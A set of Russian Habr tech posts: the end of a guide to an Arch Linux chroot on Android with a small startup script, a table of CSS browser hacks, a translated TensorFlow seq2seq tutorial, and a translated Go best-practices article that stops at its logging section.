Чтобы пользоваться тем, что получилось легко и просто, прикрутим init от botbrew-basil. Это утилита, которая проверяет, смонтировано ли у нас все, что надо и делает chroot в наше окружение. Я не смог найти, как скачать ее с репозитория botbrew, поэтому пока что просто выложил на Яндекс.Диск, [ссылка](https://yadi.sk/d/CD6PEWxedK6qx). Копируем init в /data/sdext2/arch и добавляем атрибут на исполнение.
Заходим в adb shell и набираем:
```
/data/sdext2/init /bin/bash
```
В результате все, что надо само однократно подмонтируется и мы окажемся в свежепоставленном Arch. В виде бонуса init создаст в корне chroot'а папки /storage, /mnt и /android, куда смонтирует куски оригинальной файловой системы.
Чтобы наслаждаться линухом не через USB провод, а прямо с телефона, можно прописать /data/sdext2/init /bin/bash в качестве шела в любимом терминале. Дальше можно по вкусу создать пользователей, поднять sshd и т.п. Но любой арчевод и так знает, как это сделать, поэтому здесь про это писать не буду.
Спасибо за внимание, дополнения и исправления приветствуются.
**UPDATE:** небольшой скрипт, который я запускаю один раз после ребута
**Скрипт инициализации**
```
#!/bin/bash
if [[ `whoami` != "root" ]]
then
sudo bash $0 $@
exit $?
fi
chmod 777 /tmp
c=`ps afx | grep /usr/sbin/sshd | grep -cv grep`
if [[ "$c" != "1" ]]
then
echo Strating sshd
/usr/sbin/sshd
else
echo sshd already started
fi
if [[ ! -e /dev/fd ]]
then
echo Creating /dev/fd links
ln -s /proc/self/fd /dev/fd
ln -s /proc/self/fd/0 /dev/stdin
ln -s /proc/self/fd/1 /dev/stdout
ln -s /proc/self/fd/2 /dev/stderr
fi
if [[ ! -e /dev/net/tun ]]
then
echo Creating /dev/net/tun
mkdir /dev/net
ln -s /dev/tun /dev/net/tun
else
echo /dev/net/tun already exists
fi
``` | https://habr.com/ru/post/221543/ | null | ru | null |
# Анализ CSS хаков для различный версий браузеров
День добрый, уважаемые.
Хочу предупредить что это моя оригинальная статья, это не репост с чужого блога.
Предлагаю к рассмотрению обзор хаков для верстки. Хаки были отобраны с различных ресурсов и заботливо систематизированы. Зачем я это сделал и почему? Да, хаки легко найти в Сети, но на мое ИМХО подача материала оставляет желать лучшего, т.к. нет общей картины, непонятно зачастую какие браузеры поддерживают данный хак — а если такая инфа и дается, то в весьма пространном виде типа «а это для сафари и оперы».
Я выделил 24 характерных хаков и протестировал их работу в 18 браузерах 4х семейств (FifeFox, Opera, Safari, Chrome). В результате получил вот такую таблицу:
По ней можно судить когда хак интепретируется сразу несколькими семействами браузеров, или же несколькими версиями одного семейства, или же быстро найти уникальный для данного семейства (верссии) браузера хак. По горизонтали отложены порядковые номера хаков — их код можно найти в таблице ниже, слева — семейство и версия браузера (FF это Firerox (: ), в области пересечения стоит закрашенная клетка если хак на данную версию браузера воздействует.
Примечание: ряд хаков действуют и на ie — но «conditional comments» спасут отцов российской…
Что у нас следует при беглом осмотре таблицы?
1. уникальные хаки есть для всех семейств кроме Chrome
2. несмотря на то, что нет хака для ФФ 2 (у него рендеринг значительно отличается от 3-й версии и немало доставляет...), есть относительно простой финт ухом, позволяющий победить нежелание 2-й версии ФФ понимать display-inline (для примера)
3. хаки для Оперы охватывают ряд версий, но не все, однако можно при необходимости применить оба хака сразу
4. вряд ли понадобится, но можно отделить хром от сафари комбинацией хаков №14,№23 и переопределив стиль для FF 3.0 хаком №23
5. как ни странно, есть хаки которые кем-то где то публиковались, но не работают (№№2,11,21)
6. хаки — зло и лучше их не использовать
Приведу пример переопределения стилей при использовании хака который воздействует на несколько версий или семейств на примере следующей задачи: выделить стиль для FF 2.0 (пунт 2, подходит с допиливанием к пункту 4.)
Исходные данные:
мы имеем 3 хака, которые понимают только FF: №№3,4,5, причем №5 понимают только FF младше версии 3.0 (но нет гарантий, что его будут понимать и последующие версии — в этом и недостаток хаков).
Решение:
1. определяем стиль элемента в CSS без хаков для всех прочих браузеров.
`p {
color: red;
}`
2. применяем хак для FF всех версий, наш CSS файл пример вид:
`p {
color: red;
}
x:-moz-any-link,p
{
color: red
}`
3. для того чтобы FF >= 3.0 не применяли последний стиль к элементу, переопределяем его хаком и ставим ПОСЛЕ хака из предыдущего пункта. CSS имеет вид:
`p {
color: red;
}
x:-moz-any-link,p {
color: red
}
x:-moz-any-link,x:default,p{
color: red
}`
Ниже таблица хаков с кодом и номерами — некоторые хаки имеют несколько версий. Вместо #селектор# может быть любая CSS конструкция вроде #index p .class
| | |
| --- | --- |
| 1 |
html\***селектор**{background:red},
html:root\***селектор**{background:red} |
| 2 | - |
| 3 | @-moz-document url-prefix(){
**селектор**{background:red}
}
|
| 4 | x:-moz-any-link,**селектор**{background:red} |
| 5 | x:-moz-any-link,x:default,**селектор**{background:red} |
| 6 | noindex:-o-prefocus,**селектор**{background:red} |
| 7 | html:root **селектор**{background:red} |
| 8 | body:first-of-type **селектор**{background:red} |
| 9 | [media](https://geektimes.ru/users/media/) all and (min-width:0){
**селектор**{background:red}
} |
| 10 | html:not([lang\*=""]):not(:only-child) **селектор**{background:red} |
| 11 | not all and (-webkit-min-device-pixel-ratio:0) {
**селектор**{background: #ff0000;}
} |
| 12 | \*|html[xmlns\*=""] **селектор** {
background: #Ff0000;
} |
| 13 | html:first-child **селектор** {
background: #Ff0000;
} |
| 14 | body:last-child:not(:root:root) **селектор** {
background: red;
} |
| 15 |
html[xmlns\*=""] body:last-child **селектор** {
background: red;
}
[media](https://geektimes.ru/users/media/) all and (min-width: 1px) { {} **селектор** { background: red; } }
|
| 16 | [media](https://geektimes.ru/users/media/) all and (min-width: 1px) { **селектор**{ background: red; } } |
| 17 | [media](https://geektimes.ru/users/media/) all and (width) { **селектор** { background: red; } } |
| 18 | [media](https://geektimes.ru/users/media/) all and (min-width:0px) {
head~body **селектор** { background: red; }
} |
| 19 | html:not([lang\*=""]) **селектор** { background: red; } |
| 20 | html:not([lang]) **селектор** { background: red; } |
| 21 | html:not[lang\*=""] **селектор** { background: red; } |
| 22 | html:not([lang\*=""]):not(:only-child) **селектор** { background: red; } |
| 23 | html:not(:nth-child(1)) **селектор** { background: red; } |
| 24 | [media](https://geektimes.ru/users/media/) screen and (-webkit-min-device-pixel-ratio:0){
**селектор** { background: red; }
} |
P.S. Я веду [свой блог](http://webrover.wmax.ru/blog/kirvblog/14.php?auid=10) на нашем корпоративном сайте.
UPD: принимая объективную критику, сделал обзор значительного числа хаков в следующем посте [Часть 2](http://webrover.habrahabr.ru/blog/80563/) | https://habr.com/ru/post/79820/ | null | ru | null |
# Модели Sequence-to-Sequence Ч.1
Всем добрый день!
И у нас снова открыт новый поток на доработанный курс [«Data scientist»](https://otus.pw/LlGz/): ещё один [отличный преподаватель](https://otus.pw/lH7g/), чуть доработанная исходя из обновлений программа. Ну и как обычно интересные [открытые уроки](https://otus.pw/5Hen/) и подборки интересных материалов. Сегодня мы начнём разбор seq2seq моделей от Tensor Flow.
Поехали.
Как уже обсуждалось в [туториале RNN](https://www.tensorflow.org/tutorials/sequences/recurrent) (рекомендуем ознакомиться с ним перед чтением этой статьи), рекуррентные нейронные сети можно научить моделировать язык. И возникает интересный вопрос: возможно ли обучение сети на определенных данных для генерации осмысленного ответа? Например, можем ли мы научить нейронную сеть переводить с английского языка на французский? Оказывается, что можем.
Это руководство покажет вам, как создать и обучить такую систему end-to-end. Скопируйте [основной репозиторий Tensor Flow](https://github.com/tensorflow/tensorflow) и [репозиторий моделей TensorFlow с GitHub](https://github.com/tensorflow/models). Затем, можно начать с запуска программы перевода:
```
cd models/tutorials/rnn/translate
python translate.py --data_dir [your_data_directory]
```
Она загрузит данные для перевода с английского на французский с [сайта WMT’15](http://www.statmt.org/wmt15/translation-task.html), подготовит их для обучения и обучит. Для этого потребуется около 20гб на жестком диске и довольно много времени на загрузку и подготовку, поэтому вы можете запустить процесс уже сейчас и продолжить читать этот туториал.
Руководство будет обращаться к следующим файлам:
| Файл | Что в нем находится? |
| --- | --- |
| tensorflow/tensorflow/python/ops/seq2seq.py | Библиотека для создания sequence-to-sequence моделей |
| models/tutorials/rnn/translate/seq2seq\_model.py | Sequence-to-sequence модели нейронного перевода |
| models/tutorials/rnn/translate/data\_utils.py | Вспомогательные функции для подготовки данных перевода |
| models/tutorials/rnn/translate/translate.py | Бинарник, который обучает и запускает модель перевода |
**Основы sequence-to-sequence**
Базовая sequence-to-sequence модель, как было представлено [Cho et al., 2014](http://arxiv.org/abs/1406.1078) ([pdf](http://arxiv.org/pdf/1406.1078.pdf)), состоит из двух рекуррентных нейронных сетей (RNN): encoder (кодер), которая обрабатывает входные данные, и decoder (декодер), которая генерирует данные вывода. Базовая архитектура изображена ниже:
Каждый прямоугольник на картинке выше представляет собой клетку в RNN, обычно клетку GRU — управляемого рекуррентного блока, или клетку LSTM — долгой краткосрочной памяти, (прочтите [туториал RNN](https://www.tensorflow.org/versions/r1.2/tutorials/recurrent), чтобы узнать о них подробнее). Кодеры и декодеры могут иметь общие веса или же, чаще, использовать разные наборы параметров. Многослойные клетки успешно используются в sequence-to-sequence моделях, например, для перевода [Sutskever et al., 2014](http://arxiv.org/abs/1409.3215) ([pdf](http://arxiv.org/pdf/1409.3215.pdf)).
В базовой модели, описанной выше, каждый ввод должен быть закодирован в вектор состояния фиксированного размера, так как это единственное, что передается декодеру. Чтобы дать декодеру более прямой доступ к данным ввода, в [Bahdanau et al., 2014](http://arxiv.org/abs/1409.0473) ([pdf](http://arxiv.org/pdf/1409.0473.pdf)) был представлен механизм внимания. Мы не будем вдаваться в подробности механизма внимания (для этого можно ознакомиться с работой по ссылке); достаточно сказать, что он позволяет декодеру заглядывать в данные ввода на каждом шаге декодирования. Многослойная sequence-to-sequence сеть с LSTM клетками и механизмом внимания в декодере выглядит следующим образом:
**Библиотека TensorFlow seq2seq**
Как можно увидеть выше, существуют разные модели sequence-to-sequence. Все они могут использовать разные клетки RNN, но все они принимают данные ввода кодера и данные ввода декодера. Это лежит в основе интерфейса библиотеки TensorFlow seq2seq (tensorflow/tensorflow/python/ops/seq2seq.py). Эта базовая, RNN, кодер-декодер, sequence-to-sequence модель работает следующим образом.
```
outputs, states = basic_rnn_seq2seq(encoder_inputs, decoder_inputs, cell)
```
В вызове, указанном выше, `encoder_inputs` является списком тензоров, представляющих данные ввода кодера, соответствуя буквам A, B, C с картинки выше. Аналогично, `decoder_inputs` — тензоры, представляющие данные ввода декодера. GO, W, X, Y, Z с первой картинки.
Аргумент `cell` — инстанс класса `tf.contrib.rnn.RNNCell`, который определяет, какая клетка будет использоваться в модели. Можно использовать существующие клетки, например, `GRUCell` или `LSTMCell`, а можно написать свою. Кроме того, `tf.contrib.rnn` предоставляет оболочки для создания многослойных клеток, добавления исключений данным ввода и вывода клетки, или иных трансформаций. Почитайте [RNN Tutorial](https://www.tensorflow.org/versions/r1.2/tutorials/recurrent), для ознакомления с примерами.
Вызов `basic_rnn_seq2seq` возвращает два аргумента: `outputs` и `states`. Они оба представляют собой список тензоров той же длины, что и `decoder_inputs`. `outputs` соответствует данным вывода декодера на каждом временном шаге, на первой картинке это W, X, Y, Z, EOS. Возвращаемый `states` представляет внутреннее состояние декодера на каждом временном шаге.
Во многих приложениях, использующих sequence-to-sequence модели, вывод декодера в момент t передается обратно на ввод декодеру в момент t+1. При тестировании, во время декодирования последовательности, именно так конструируется новая. С другой стороны, при обучении принято передавать декодеру правильные данные ввода в каждый временной шаг, даже если декодер ранее ошибся. Функции в `seq2seq.py` поддерживают оба режима с помощью аргумента `feed_previous`. Например, проанализируем следующее использование вложенной RNN модели.
```
outputs, states = embedding_rnn_seq2seq(
encoder_inputs, decoder_inputs, cell,
num_encoder_symbols, num_decoder_symbols,
embedding_size, output_projection=None,
feed_previous=False)
```
В модели `embedding_rnn_seq2seq` все данные ввода (как `encoder_inputs`, так и `decoder_inputs`) являются целочисленными тензорами, отражающими дискретные значения. Они будут вложены в плотное представление (за подробностями по вложению обратитесь к [Руководству по Векторным Представлениям](https://www.tensorflow.org/versions/r1.2/tutorials/word2vec)), но для создания этих вложений нужно уточнить максимальное количество дискретных символов: `num_encoder_symbols` на стороне кодера и `num_decoder_symbols` на стороне декодера.
В вызове выше мы задаем `feed_previous` значение False. Это значит, что декодер будет использовать тензоры `decoder_inputs` в том виде, в котором они предоставляются. Если мы зададим `feed_previous` значение True, декодер будет использовать только первый элемент `decoder_inputs`. Все прочие тензоры из списка будут проигнорированы, и взамен будет использоваться предыдущее значение вывода декодера. Это применяется для декодирования переводов в нашей модели перевода, но также может использоваться во время обучения, для улучшения устойчивости модели к своим ошибкам. Примерно как у [Bengio et al., 2015](http://arxiv.org/abs/1506.03099) ([pdf](http://arxiv.org/pdf/1506.03099.pdf)).
Еще один важный аргумент, использованный выше, — `output_projection`. Без уточнений выводы вложенной модели будут тензорами формы количество обучающих образцов на `num_decoder_symbols`, так как они представляют логиты каждого сгенерированного символа. При тренировке моделей с большими словарями на выходе, например с большим `num_decoder_symbols`, хранить эти крупные тензоры становится непрактичным. Вместо этого, лучше возвращать тензоры меньших размеров, которые впоследствии будут спроецированы на большой тензор с помощью `output_projection`. Это позволяет использовать наши seq2seq модели c сэмплированными softmax потерями, как описано у [Jean et. al., 2014](http://arxiv.org/abs/1412.2007) ([pdf](http://arxiv.org/pdf/1412.2007.pdf)).
В дополнении к `basic_rnn_seq2seq` и `embedding_rnn_seq2seq` в `seq2seq.py` существует еще несколько sequence-to-sequence моделей. Обратите на них внимание. Все они обладают схожим интерфейсом, поэтому не будем углубляться в их детали. Для нашей модели перевода ниже используем `embedding_attention_seq2seq`.
Продолжение последует. | https://habr.com/ru/post/430780/ | null | ru | null |
# Лучшие практики Go, шесть лет в деле
В 2014 году я выступил на открытии конференции GopherCon с докладом под названием «Go: [Best Practices for Production Environments](https://peter.bourgon.org/go-in-production)». В [SoundCloud](https://soundcloud.com/) мы были одними из первых пользователей Go и к тому времени уже два года писали на нём и поддерживали [Go](https://soundcloud.com/) в бою в той или иной форме. За это время мы кое-чему научились, и я попытался поделиться частью этого опыта.
С тех пор я продолжал программировать на Go в течение всего рабочего дня, сначала в командах SoundCloud, отвечающих за операционную деятельность и инфраструктуру, а теперь работаю в компании [Weaveworks](https://www.weave.works/) над [Weave Scope](https://www.weave.works/products/weave-scope/) и [Weave Mesh](https://github.com/weaveworks/mesh). Также я усердно трудился над [Go kit](https://github.com/go-kit/kit), набором инструментов для микросервисов с открытым исходным кодом. И всё это время я принимал активное участие в развитии сообщества Go-программистов, встречался со многими разработчиками на митапах и конференциях по всей Европе и в США, коллекционируя их истории успехов и провалов.
В ноябре 2015-го, на [шестую годовщину](https://blog.golang.org/6years) релиза Go, я вспоминал то своё первое выступление. Какие из лучших практик прошли проверку временем? Какие из них устарели или стали неэффективными? Появились ли какие-то новые методики? В марте мне представилась возможность выступить на конференции [QCon London](https://qconlondon.com/), где я рассказал о лучших практиках 2014 года и дальнейшем развитии Go до 2016 года. В этом посте представлена выжимка из моего выступления.
Ключевые положения я выделил в тексте в виде Top Tips — лучших советов.
А вот и cодержание:
1. [Среда разработки](https://habrahabr.ru/company/mailru/blog/301036/#1)
2. [Структура репозитория](https://habrahabr.ru/company/mailru/blog/301036/#2)
3. [Форматирование и стиль](https://habrahabr.ru/company/mailru/blog/301036/#3)
4. [Конфигурация](https://habrahabr.ru/company/mailru/blog/301036/#4)
5. [Разработка программы](https://habrahabr.ru/company/mailru/blog/301036/#5)
6. [Логирование и метрики](https://habrahabr.ru/company/mailru/blog/301036/#6)
7. [Тестирование](https://habrahabr.ru/company/mailru/blog/301036/#7)
8. [Управление зависимостями](https://habrahabr.ru/company/mailru/blog/301036/#8)
9. [Сборка и развёртывание](https://habrahabr.ru/company/mailru/blog/301036/#9)
10. [Заключение](https://habrahabr.ru/company/mailru/blog/301036/#10)
Среда разработки
================
Соглашения среды разработки Go основаны на использовании GOPATH. В 2014 году я отстаивал точку зрения, что должна быть единственная глобальная переменная GOPATH. С тех пор моя позиция несколько смягчилась. Я до сих пор считаю, что при прочих равных это наилучший вариант, но многое также зависит от особенностей вашего проекта, команды и прочих вещей.
Если вы или ваша компания создаёте в основном исполняемые двоичные файлы (binaries), то использование отдельного GOPATH для каждого проекта может дать определённые преимущества. Для таких случаев можно воспользоваться новой утилитой [gb](https://getgb.io/) от Дейва Чейни (Dave Cheney) и контрибьютеров, заменяющей стандартные инструменты `go` для этих целей. На утилиту есть уже множество положительных отзывов.
Некоторые разработчики используют GOPATH с двумя директориями (two-entry), например `$HOME/go/external:$HOME/go/internal`. Go-команда всегда знала, как обрабатывать такие случаи: `go get` скачает зависимость в директорию по первому пути, поэтому такое решение может быть полезным, если вам нужно строго отделить внутренний код от стороннего.
Я заметил, что некоторые разработчики забывают помещать `GOPATH/bin` в свой `PATH`. А ведь это позволяет легко запускать получаемые вами посредством `go get` исполняемые файлы, а также облегчает работу с (предпочтительным) механизмом сборки кода `go install`. Нет ни одной причины этого не делать.
#### ✪ **Top Tip** — Помещайте `$GOPATH/bin` в свой `$PATH`, это облегчит доступ к установленным программам.
Благодаря всевозможным редакторам и IDE среда разработки непрерывно улучшалась. Если вы поклонник vim, то для вас всё сложилось как нельзя лучше: благодаря неустанному и невероятно эффективному труду Фатиха Арслана ([Fatih Arslan](https://twitter.com/fatih)) плагин [vim-go](https://github.com/fatih/vim-go) превратился в настоящее произведение искусства, лучший инструмент в своём классе. Я не так хорошо знаком с [Emacs](https://ru.wikipedia.org/wiki/Emacs), но в этой сфере всё ещё правит [go-mode.el](https://github.com/dominikh/go-mode.el) Доминика Хоннефа ([Dominik Honnef](https://twitter.com/dominikhonnef)).
Двигаясь дальше, многие всё ещё успешно используют связку [Sublime Text](https://www.sublimetext.com/) + [GoSublime](https://github.com/DisposaBoy/GoSublime). По скорости с ней трудно соперничать. Но судя по всему, в последнее время всё больше внимания уделяется редакторам на базе [Electron](http://electron.atom.io/). Немало поклонников у связки [Atom](https://atom.io/) + [go-plus](https://atom.io/packages/go-plus), особенно среди разработчиков, которым часто приходится переключаться с какого-нибудь языка на JavaScript. Связка [Visual Studio Code](https://code.visualstudio.com/) + [vscode-go](https://github.com/Microsoft/vscode-go) была тёмной лошадкой: она работает медленнее Sublime Text, но заметно быстрее Atom’а, а заодно по умолчанию прекрасно поддерживает важные для меня возможности, вроде click-to-definition (переход к месту определения объекта по клику). Я уже полгода ежедневно пользуюсь этой связкой, с тех пор как Томас Адам ([Thomas Adam](https://github.com/tecbot)) познакомил меня с ней. Отличная вещь.
Что касается полноценных IDE, то можно упомянуть специально созданный [LiteIDE](https://github.com/visualfc/liteide), который регулярно обновляется и имеет свою аудиторию поклонников. Также есть интересный плагин для Go [Intellij](https://github.com/go-lang-plugin-org/go-lang-idea-plugin), который постоянно улучшается.
Структура репозитория
=====================
У нас было достаточно времени для того, чтобы проекты стали более зрелыми, и в результате выработался ряд чётких подходов. От того, *чем* является ваш проект, зависит то, как вы структурируете свой репозиторий. Если речь идёт о закрытом проекте или внутреннем проекте компании, то можно уйти в отрыв: пусть в нём будет собственный GOPATH, используйте кастомный инструмент для сборки, делайте что угодно, если это приносит вам удовольствие и повышает вашу производительность.
Но если это публичный проект (например, open source), то правила становятся строже. Ваш код должен быть совместим с `go get`, поскольку именно таким способом большинство Go-разработчиков захотят воспользоваться вашей работой.
Идеальная структура репозитория зависит от типов ваших сущностей. Если это исключительно исполняемые бинарные файлы или библиотеки, тогда нужно быть уверенным, что потребители смогут использовать `go get` или импортировать по базовому пути. Так что поместите package main или основной код для импорта в `github.com/name/repo`, а для вспомогательных пакетов используйте вложенные папки.
Если ваш репозиторий представляет собой комбинацию двоичных файлов и библиотек, то вам следует определить *основную* сущность и положить её в корень репозитория. Например, если ваш репозиторий по большей части состоит из исполняемых файлов, но также может использоваться как библиотека, то вы наверняка предпочтёте структурировать его так:
```
github.com/peterbourgon/foo/
main.go // package main
main_test.go // package main
lib/
foo.go // package foo
foo_test.go // package foo
```
Полезный совет: во вложенной папке `lib/` лучше именовать пакет в соответствии с названием библиотеки, а не самой папки; т. е. в этом примере — `package foo` вместо `package lib`. Это исключение из довольно строгих Go-идиом, но на практике это очень удобно для пользователей. Подобным образом устроен замечательный репозиторий [tsenart/vegeta](https://github.com/tsenart/vegeta), инструмент для нагрузочного тестирования HTTP-сервисов.
#### ✪ **Top Tip** — Если ваш репозиторий foo в основном состоит из исполняемых бинарных файлов, то поместите код библиотеки во вложенную папку `lib/` и назовите `package foo`.
Если ваш репозиторий в основном библиотека, но также включает в себя одну-две исполняемых программы, то структура может быть такой:
```
github.com/peterbourgon/foo
foo.go // package foo
foo_test.go // package foo
cmd/
foo/
main.go // package main
main_test.go // package main
```
Получается инвертированная структура, когда код библиотеки кладётся в корень, а во вложенной папке `cmd/foo/` хранится код исполняемых программ. Промежуточный уровень `cmd/` удобен по двум причинам:
* Инструментарий Go автоматически именует двоичные файлы по названию папки, в которой находится package main, так что мы получаем наилучшие имена файлов без возможных конфликтов с другими пакетами в репозитории.
* Если ваши пользователи применяют `go get` на путь, в котором содержится `/cmd/`, они сразу понимают, что получили. Подобным образом устроен репозиторий сборочной утилиты [gb](https://github.com/constabulary/gb).
#### ✪ **Top Tip** — Если основное предназначение вашего репозитория — библиотека, то поместите код исполняемых программ во вложенные папки внутри `cmd/`.
Основная мысль здесь: заботьтесь о пользователях — упрощайте использование основной функциональности вашего проекта. Мне кажется, что эта абстрактная идея — фокус на потребностях пользователей — отвечает самому духу языка Go.
Форматирование и стиль
======================
Здесь мало что изменилось. Это одно из тех мест, где Go пошёл по правильной дороге, и я очень ценю соглашения в сообществе и стабильность языка в отношении этого. Комментарии [Code Review Comments](https://github.com/golang/go/wiki/CodeReviewComments) великолепны и должны быть минимальным набором необходимых для соблюдения критериев в ходе ревизии кода. А если у вас в наименованиях встречаются спорные ситуации или противоречия, то можете воспользоваться прекрасным набором [идиоматических соглашений о наименованиях](https://talks.golang.org/2014/names.slide) Эндрю Герранда (Andrew Gerrand).
#### ✪ **Top Tip** — Воспользуйтесь соглашениями о наименованиях Эндрю Герранда.
А что касается инструментария, то здесь всё стало только лучше. Сконфигурируйте свой редактор так, чтобы при сохранении инициировался gofmt, а лучше [goimports](https://github.com/bradfitz/goimports) (надеюсь, здесь ни у кого не возникнет возражений). Использование утилиты go vet [почти](https://github.com/golang/go/issues/9171) не приводит к ложноположительным срабатываниям, так что вы вполне можете сделать её частью вашего pre-commit-хука (pre-commit hook). И обратите внимание на замечательную утилиту контроля качества кода [gometalinter](https://github.com/alecthomas/gometalinter). У неё *могут* быть ложноположительные срабатывания, так что имеет смысл как-то [обозначить свои собственные соглашения](https://github.com/weaveworks/mesh/blob/master/lint).
Конфигурация
============
Конфигурация пролегает между runtime-средой и процессом. Она должна быть явной и хорошо задокументированной. Я всё ещё использую и рекомендую использовать пакет flag, но всё же предпочёл бы, чтобы конфигурация была более привычной. Хотелось бы получить стандартный синтаксис аргументов в getopts-стиле, чтобы были подробная и краткая формы аргументов. Также хочется, чтобы текст использования (usage text) был гораздо компактнее.
Приложения, следующие соглашениям [The Twelve-Factor App](http://12factor.net/), мотивируют использовать для конфигурирования переменные окружения, и я думаю, что это нормально, *при условии, что каждая переменная также определена как флаг*. Здесь важна явность: изменение runtime-поведения приложения должно выполняться легко обнаруживаемым и задокументированным путём.
Я уже говорил в 2014 году, но считаю необходимым повториться: [определяйте и разбирайте флаги внутри func main()](https://robots.thoughtbot.com/where-to-define-command-line-flags-in-go). Только у `func main()` есть право решать, какие флаги будут доступны пользователю. Если ваша библиотека позволяет конфигурировать своё поведение, то параметры конфигурации должны быть частью конструкторов типов. Перенос конфигурации в глобальную область видимости пакетов создаёт иллюзию выгоды, но экономия получается ложной: вы ломаете модульность кода, поэтому другим разработчикам будет труднее понять отношения зависимостей, к тому же станет куда сложнее писать независимые параллелизуемые тесты.
#### ✪ **Top Tip** — Только у `func main()` есть право решать, какие флаги будут доступны пользователю.
Думаю, сообщество вполне может создать всеобъемлющий пакет флагов, в котором будут сочетаться все эти свойства. Возможно, он уже существует. Если да, то [дайте мне знать](https://twitter.com/peterbourgon). Я бы точно воспользовался им.
Разработка программы
====================
В беседе я использовал конфигурацию как отправную точку для обсуждения ряда других аспектов разработки программы (я не поднимал эту тему в 2014-м). Для начала давайте посмотрим на конструкторы. Если мы правильно параметризуем все наши зависимости, то конструкторы могут стать весьма большими.
```
foo, err := newFoo(
*fooKey,
bar,
100 * time.Millisecond,
nil,
)
if err != nil {
log.Fatal(err)
}
defer foo.close()
```
Иногда подобную конструкцию лучше выразить с помощью объекта конфигурации: структуры, принимающей *необязательные* параметры, определяющие поведение конструируемого объекта. Предположим, что параметр `fooKey` обязательный, а все остальные либо имеют разумные значения по умолчанию, либо необязательны.
Мне часто встречаются проекты, в которых объекты конфигурации конструируются как-то разрозненно:
```
// Не делайте этого
cfg := fooConfig{}
cfg.Bar = bar
cfg.Period = 100 * time.Millisecond
cfg.Output = nil
foo, err := newFoo(*fooKey, cfg)
if err != nil {
log.Fatal(err)
}
defer foo.close()
```
Но куда лучше конструировать объект за один раз, с помощью одного выражения, воспользовавшись так называемым синтаксисом инициализации структуры (struct initialization syntax).
```
// Вот это лучше
cfg := fooConfig{
Bar: bar,
Period: 100 * time.Millisecond,
Output: nil,
}
foo, err := newFoo(*fooKey, cfg)
if err != nil {
log.Fatal(err)
}
defer foo.close()
```
Здесь нет никаких выражений, когда объект находится в промежуточном, неправильном состоянии. При этом все поля красиво разграничены и выделены отступами, отражая определение `fooConfig`.
Обратите внимание, что объект `cfg` мы конструируем и сразу же используем. В этом случае, напрямую встроив объявление структуры в конструктор `newFoo`, мы можем избежать ещё одной ступени промежуточного состояния и сберечь ещё одну строку кода.
```
// Это ещё лучше
foo, err := newFoo(*fooKey, fooConfig{
Bar: bar,
Period: 100 * time.Millisecond,
Output: nil,
})
if err != nil {
log.Fatal(err)
}
defer foo.close()
```
Отлично.
#### ✪ **Top Tip** — Чтобы избежать неправильного промежуточного состояния, используйте инициализацию литерала структуры. Везде, где возможно, встраивайте объявления структуры.
Теперь обратимся к теме разумных умолчаний. Заметьте, что параметр `Output` может принимать значение `nil`.
Предположим, что это `io.Writer`. Если не делать ничего особенного, то, когда мы захотим использовать его в нашем объекте `foo`, нам сначала придётся осуществить проверку на nil.
```
func (f *foo) process() {
if f.Output != nil {
fmt.Fprintf(f.Output, "start\n")
}
// ...
}
```
Это не здорово. Гораздо лучше и безопаснее иметь возможность использовать выходное значение без проверки на его существование.
```
func (f *foo) process() {
fmt.Fprintf(f.Output, "start\n")
// ...
}
```
Итак, здесь нам нужно по умолчанию предоставлять что-то полезное. Благодаря интерфейсным типам у нас есть возможность передать что-либо, что обеспечивает no-op-реализацию (т. е. реализацию, не делающую никаких операций, заглушку. — Прим. переводчика) интерфейса. Поэтому пакет stdlib ioutil поставляется с no-op `io.Writer`, который называется `ioutil.Discard`.
#### ✪ **Top Tip** — Избегайте проверок на nil с помощью no-op-реализаций по умолчанию.
Можно было бы передать это в объект `fooConfig`, но это довольно хрупкое решение. Если вызывающий код забудет сделать это в месте вызова, то у нас опять получится параметр `nil`. Вместо этого мы можем обезопасить себя внутри конструктора.
```
func newFoo(..., cfg fooConfig) *foo {
if cfg.Output == nil {
cfg.Output = ioutil.Discard
}
// ...
}
```
Это всего лишь применение Go-идиомы «делайте нулевое значение полезным». То есть мы позволяем нулевому значению (`nil`) предоставлять хорошее поведение по умолчанию (no-op).
#### ✪ **Top Tip** — Делайте нулевое значение полезным, особенно в объектах конфигурации.
Вновь обратимся к конструктору. Параметры `fooKey`, `bar`, `period` и `output` являются *зависимостями*. Успешность запуска и работы объекта `foo` *зависит* от каждого из них. Чему я точно научился за шесть лет ежедневного программирования на Go и наблюдения за большими проектами, так это тому, что нужно **делать зависимости явными**.
#### ✪ **Top Tip** — Делайте зависимости явными!
Я считаю, что неоднозначные или неявные зависимости являются причиной невероятного объёма трудозатрат на техническую поддержку, путаницы, багов и неоплаченного технического долга. Рассмотрим метод process() типа `foo`:
```
func (f *foo) process() {
fmt.Fprintf(f.Output, "start\n")
result := f.Bar.compute()
log.Printf("bar: %v", result) // Whoops!
// ...
}
```
`fmt.Printf` автономен, не влияет и не зависит от глобального состояния. В функциональных терминах он обладает чем-то вроде *ссылочной прозрачности (referential transparency)*. Так что это не зависимость. Очевидно, что ею является `f.Bar`. Любопытно, что `log.Printf` оказывает влияние на глобальный (в рамках пакета) объект-логгер, это просто неочевидно из-за свободной функции `Printf`. Так что это тоже зависимость.
Что нам делать со всеми этим зависимостями? **Сделаем их явными**. Поскольку метод process() пишет в лог в процессе своей работы, то либо метод, либо сам объект `foo` должны принимать объект логирования в качестве зависимости. Например, `log.Printf` должен стать `f.Logger.Printf`.
```
func (f *foo) process() {
fmt.Fprintf(f.Output, "start\n")
result := f.Bar.compute()
f.Logger.Printf("bar: %v", result) // Лучше.
// ...
}
```
Мы привыкли считать побочными определённые виды работ вроде логирования. Поэтому мы рады использовать вспомогательные библиотеки вроде глобальных логгеров для облегчения своего бремени. Но логирование, как и метрики, часто играет решающую роль в функционировании сервиса. И скрывание зависимостей в глобальном пространстве видимости может — и сделает это — ударить по нам же, либо в виде чего-то внешне безобидного, как логирование, либо в виде какого-то другого, более важного, предметного компонента, о параметризации которого мы не позаботились. Защитите себя от боли в будущем с помощью строгого правила: делать *явными* все свои зависимости.
#### ✪ **Top Tip** — Логгеры являются зависимостями, так же как и ссылки на другие компоненты, клиенты баз данных, аргументы командной строки и т. д.
Безусловно, нам нужно позаботиться и о получении разумного умолчания для нашего логгера.
```
func newFoo(..., cfg fooConfig) *foo {
// ...
if cfg.Logger == nil {
cfg.Logger = log.New(ioutil.Discard, ...)
}
// ...
}
```
Логирование и метрики
=====================
